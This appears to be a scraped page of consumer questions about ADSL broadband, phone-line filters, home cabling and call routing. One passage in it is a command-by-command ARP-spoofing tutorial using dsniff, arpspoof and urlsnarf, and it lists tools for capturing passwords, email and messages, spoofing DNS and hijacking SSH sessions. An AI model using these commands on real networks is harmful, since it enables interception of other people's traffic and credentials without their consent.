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I have Broadband interenet which is dsl. I want to get rid of my phone line as i dont use the home phone and is costing me alot. Will my interenet still work or will i have to keep the phone line?

Or does it vary to different places? If so how can i check?

I`m having a weird problem with my adsl line.It works fine when I`m not on the phone.The minute I receive a call the connection(ADSL) will be lost. I only get reconnected when I change filters.I have about five filters that I recycle through. I have the ADSL nation XF 1e, Fujitsu excelsior FDX100-UK filters.BT came to check the line and found no problem with it. However, I could sometimes hear the modem dialling out on the phone line. I really do not know what else to do. Any suggestions will be appreciated.

DSL-200 Adsl modem class C1
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I have 2 phones running on the same line and the ADSL which is connected to one of the phones and the filter, I’m still getting a buzzing noise even when I have disconnected the other phone without one. Why is it stil doing this even though I don’t have the other phone connected? Woud it be better if I got another filter and connected the other phone as well?

I live in a 1960′s built home with old wiring the drop line is in ok condition does have some cracks though. The NID is on a brick wall outside (about to fall off) and is orignal to the house I think. The inside phone line isnt in a very good place I need it to be in my home office (way on the other side of the house) as for the Cat5 I’ve heard they will run i through the attic for up to 3 TV’s and a line to the RG (residential gateway) there is about 10 year old coax and I am sick of looking at it. I am geting U-verse in 3 rooms and the RG will be in the office. Will they do this work for free? and if not how much money am I looking at spending I don’t want to spend a huge amount.

I live in a 1960′s built home with old wiring the drop line is in ok condition does have some cracks though. The NID is on a brick wall outside (about to fall off) and is orignal to the house I think. The inside phone line isnt in a very good place I need it to be in my home office (way on the other side of the house) as for the Cat5 I’ve heard they will run i through the attic for up to 3 TV’s and a line to the RG (residential gateway) there is about 10 year old coax and I am sick of looking at it. I am geting U-verse in 3 rooms and the RG will be in the office. Will they do this work for free? and if not how much money am I looking at spending I don’t want to spend a huge amount.

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if 1 phone line already has a adsl connection, say with telstra, can i move my exetel service to the same number and then have a modem connected for each service?
@john: that doesnt answer my question

Hey there Y!Answers, i have a question thats really been bothering me about my ADSL speeds,
i have AT&T Elite (pointless IMO), and it claims “6mbps”, kinda low, i know. but my speeds cap out at 680kbps even though a speed tests claims i have 6.4mbps down.
so would wiring new Cat5e cables along the side of my house into the wall jack (i only have one that branches off into 2 other ones… i live in a really old house).
the cable thats connected outside my house is from around the 90′s or early 2000′s, (Not Cat5) but i recently had my phone line fixed and they halfway wired the outside with cat5e.
so would using cat5e cables THROUGHOUT the whole house and cat 6 on my routers really improve my speeds?
and if so how would i go about wiring the cables at the service box? (i noticed currently only 2 wires from inside the cables are being used… why just 2?) and i have my Linksys Wireless N/Gigabit router connected to my current AT&T router/modem and it seems pointless since its running off a phone line cable with only 2 wires being used (ironically the brand is 2wire),
so all together i was wondering if using cat5e wiring throughout would help increase my speeds, how would i go along wiring my Linksys router directly to the phone line rather than through the modem which makes it pointless, and how would i go along connecting it to the back of the house in the service box? (I installed new phone jacks and they all have cat5 connections but the 6feet of wiring leading into the house is really old wiring)
thanks in advance, as always i will choose a best answer.

I know there’s a broadband modem for the DC but it’s hard to find and expensive, so I was wondering if there is like a phone to broadband adaptor, or even if I dare to ask, a wireless solution? I researched for a while but couldn’t find anything.

How to arp spoof and sniff urls in ubuntu. sorry about the blurriness. Commands run: sudo apt-get install dsniff sudo nano /proc/sys/net/ipv4/ip_forward (change the 0 to 1) sudo arpspoof -i eth0 -t 192.168.1.5 192.168.1.1 (new terminal) urlsnarf Other programs to run while arp spoofing: dsniff – sniff for common passwords (POP, IMAP, HTTP, Telnet, SNMP, AIM, ICQ, and more) filesnarf – sniff for files passing between target and NFS shares mailsnarf – sniff (unencrypted) email crossing wire (works for POP/IMAP/SMTP but not for website email clients {Gmail, Hotmail, Yahoo, etc}) msgsnarf – sniff messages sent to/from MSN, ICQ, AOL, etc urlsnarf – outputs URLs visited by slave webspy – opens URLs visited by slave in Firefox so you can “follow” their traffic dnsspoof – GREAT TOOL! Replies to DNS requests made by slave with custom addresses. Can be used to route web-traffic to custom servers macof – floods the network with random MAC addresses sshmitm – captures and/or hijacks SSH(1) sessions made by target webmitm – used for proxying and sniffing HTTP/HTTPS traffic

So i recently asked this question and it wouldn’t let me reply. But so lets say i have a CAT5 cable and want to split it to two continuous running cables but i cant put a router on it because i wont be able to configure it. Is this what a switch is for? I need something that can take a male end and put it into two female ends. That i can plug ethernet cords into. And it has to be something that i dint have to configure. And i know this is unorthodox but is it possible to split a CAT5 cable while its connected to the internet and then put on a new plug while it is still being juiced with internet. It is not carrying a (POE) charge. But is this possible? Any help at all would be helpful.

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I have a person that works in two separate offices as a manager. Each office is in a separate location, dev pool, partition…etc, and each has a different directory number. The current manager will switch locations on a regular basis and wants to have it so it doesn’t matter if one or the other line is called, it will ring in either office. Presumably, a new person will soon be hired to take over as manager in one or the other office, so I don’t want to implement sharing the lines between offices, because although that might be the easiest solution, it’s not good to have lines from different partitions appearing all over the network on devices in other partitions…it could quickly become a mess.

So, I’d just like to have both numbers ring at the same time when one or the other is called. I was looking at line groups and hunt lists, but don’t want to create a new hunt pilot number that people have to remember to call, or they’d have to change the directory listing.

The nice people at BT tech support say that my modem has to retrain itself up to the max speed and that this can take up to ten days. This has to be rubbish, doesn’t it? It should take a few minutes. Shouldn’t it?
Exchange upgraded today. My router reports 8mbps service with atten 11 and snr 11.2. So all should be fine. The robots at tech support are programmed to tell me to go away and play with myself for 10 days. Lots of spurious reasons given, but nothing sensible. I know I can’t do anything about it but they are misrepresenting their product if before upgrade the speed is 2Mb and afterwards it’s 2Mb.

I need to connect two BT Voyager 105 Modem’s to my Compaq XP enabled computer, I have to use only one phone line, I have plenty of spare filters and have two places to plug in phones in my house. I want to do this to make my broadband faster without upgrading to 8 meg. is this possible and how do I do it? I can download any software needed. cheers!

I need to connect two BT Voyager 105 Modem’s to my Compaq XP enabled computer, I have to use only one phone line, I have plenty of spare filters and have two places to plug in phones in my house. I want to do this to make my broadband faster without upgrading to 8 meg. is this possible and how do I do it? I can download any software needed. cheers!

i have a 256 kbps adsl connecion. my maximum download speed is around 27 kbps. i hav a us robotics adsl gateway/router.

how many computers can i use with a 512kb ADSL line?

ok, i think the title says most of it
i would like to know mainly if adsl+2 will interfere with my phone lines (land line) and if so, will i be able to get a second set of lines installed. i know mostly about the rest, thanks to google and Wikipedia.
p.s i would like any information that you can give me, no matter how trivial.